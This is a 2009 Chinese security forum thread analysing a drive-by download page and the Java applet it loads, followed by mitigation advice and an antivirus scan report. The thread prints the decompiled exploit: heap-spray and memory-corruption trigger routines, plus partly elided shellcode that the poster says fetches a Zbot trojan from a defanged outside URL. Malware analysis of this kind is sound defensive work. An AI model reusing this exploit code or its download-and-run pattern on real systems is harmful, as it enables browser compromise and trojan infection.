Java Applets Buffer Overflow Exploit （Nday）

显示全部楼层 · 发表于 2009-7-16 17:14:21

发现日期:2009-7-16

被挂马网站: premiumnonfat.cn

挂马页: hxxp://premiumnonfat.cn:8080/filez/java.html

漏洞名: Java Applets Buffer Overflow Exploit

CLSID: -

软件: Java Applets

版本: -

文章来自http://safelab.spaces.live.com转载保留此行

N属于自然数。。知道的麻烦告知N＝多少……

这个漏洞到底是老的还是新的我不敢定论，Applets漏洞一向很多，不过VirusTotal扫描其漏洞文件给出了0%的报告率：
http://www.virustotal.com/zh-cn/analisis/298914491f339b21aa347078ad5c8bbf2296752b153df72895904676230a9be8-1247731824
文件 show.class 接收于 2009.07.16 08:10:24 (UTC)
结果: 0/40 (0%)

简单查看一下，页面代码是：

<html><head><title>Your Homepage</title></head><body>
<applet id="996353200" code = "Show.class" width="250" height="85"></body></html>

可以看到加载的是Show.Class这个Applet程序，Show.Class是一个50.0版本编译的家伙，版本挺新，对其进行反编译可以得到(ShellCode有省略)：
import java.applet.Applet;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.zip.Inflater;

public class Show extends Applet
{

URLClassLoader loader;
Inflater tab[];
int n;
static String O9qzg8fi = "\u4343\.......(省略).......\u64A4\uF3B5\u32EC\uEB64\uEC64" +
"\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u612F\u6C35" +
"\u612E\u3A74\u3038\u3038\u772F\u6C65\u6F63\u656D\u702E\u7068\u693F\u3D64\u2639\u6568" +
"\u3579"
;

public Show()
{
}

public void heapSpray(String s, int i)
      throws RuntimeException
{
      if(s.length() > 0x19000)
      {
         throw new RuntimeException();
      }
      if(i > 1024)
      {
         throw new RuntimeException();
      }
      String as[] = new String[1024];
      StringBuffer stringbuffer = new StringBuffer(0x80000);
      for(int j = 1; j < 0x1fffe - s.length(); j++)
      {
         stringbuffer.append('\u9090');
         stringbuffer.append('\u9090');
         stringbuffer.append('\u2525');
         stringbuffer.append('\u2525');
      }

      stringbuffer.append(s);
      Runtime.getRuntime().gc();
      try
      {
         for(int k = 0; k < i; k++)
         {
            as[k] = stringbuffer.toString();
         }

      }
      catch(OutOfMemoryError outofmemoryerror) { }
}

void mem(int i)
{
      tab = new Inflater;
      for(int j = 0; j < i; j++)
      {
         tab[j] = new Inflater();
      }

}

void release(int i)
{
      for(int j = i - i / 2; j < i - i / 20; j += 2)
      {
         if(tab[j] != null)
         {
            tab[j].end();
            tab[j] = null;
         }
      }

}

int trigger(int i)
{
      boolean flag = false;
      int j;
      for(j = i - i / 20 - 1; j > i / 2; j--)
      {
         if(tab[j] != null)
         {
            tab[j].reset();
         }
      }

      return j;
}

void init_classloader()
{
      try
      {
         URL url = getCodeBase();
         String s = url.toString();
         String s1 = (new StringBuilder()).append("jar:").append(s).append("hellofriend.jar!/").toString();
         ClassLoader classloader = getClass().getClassLoader();
         loader = URLClassLoader.newInstance(new URL[] {
            new URL(s1)
         }, classloader);
      }
      catch(Exception exception)
      {
         exception.printStackTrace();
      }
}

public void init()
{
      heapSpray(O9qzg8fi, 80);
      init_classloader();
      n = 5000;
      mem(n);
      release(n);
      Class class1;
      try
      {
         class1 = Class.forName("x", true, loader);
      }
      catch(Exception exception)
      {
         trigger(n);
      }
}

}

这个ShellCode明显是要下载hxxp://a5l.at:8080/welcome.php?id=9&he(TR.Zbot)，不过代码新不新我就不知道了，解决安全隐患，请：
Internet Options（Internet选项） -> Security（安全） -> Internet -> Custom Level（自定义级别） -> 在 Microsoft
VM 中选择"Disable Java（禁用Java）".
暂时禁止Applets程序运行。

显示全部楼层 · 发表于 2009-7-16 17:15:48

然则我等需要偷懒，继续偷汉子……挪用Jad.exe

但是Jad不给面子，只要版本不是他规定的三个就不允许反编译，所以Redoce会自动改版本到46.0（因为按照懒人原则这个最简单……其他什么45.2的我还要多打几个字……）

在执行 F>Java Class反编译(外部程序) 中打开

显示全部楼层 · 发表于 2009-7-16 17:17:53

邪恶邪恶....

显示全部楼层 · 发表于 2009-7-17 05:20:01

又学习到一些新知识！

从那个挂马网页下载的东东，avira kaba 全部miss，to kill。

We received the following archive files:

File ID	?Filename	Size (Byte)	Result
25400185	Two.rar	26.05 KB	OK

A listing of files contained inside archives alongside their results can be found below:

File ID	?Filename	Size (Byte)	Result
25400186	load(1).exe	29.5 KB	MALWARE
25400187	Show.class	3.32 KB	MALWARE

Please find a detailed report concerning each individual sample below:

?Filename	Result
load(1).exe	MALWARE

The file 'load(1).exe' has been determined to be 'MALWARE'.
Our analysts named the threat TR/Dldr.Agent.qzh. The term "TR/" denotes a trojan horse that is able to spy out data, to violate your privacy or carry out unwanted modifications to the system.Detection will be added to our virus definition file (VDF) with one of the next updates.

?Filename	Result
Show.class	MALWARE

The file 'Show.class' has been determined to be 'MALWARE'.
Our analysts named the threat JAVA/Dldr.Agent.C. The term "JAVA/" denotes a virulent Java-Applet or?Application.Detection will be added to our virus definition file (VDF) with one of the next updates.

[ 本帖最后由幸福的猪猪于 2009-7-17 16:40 编辑 ]

[其它] Java Applets Buffer Overflow Exploit （Nday）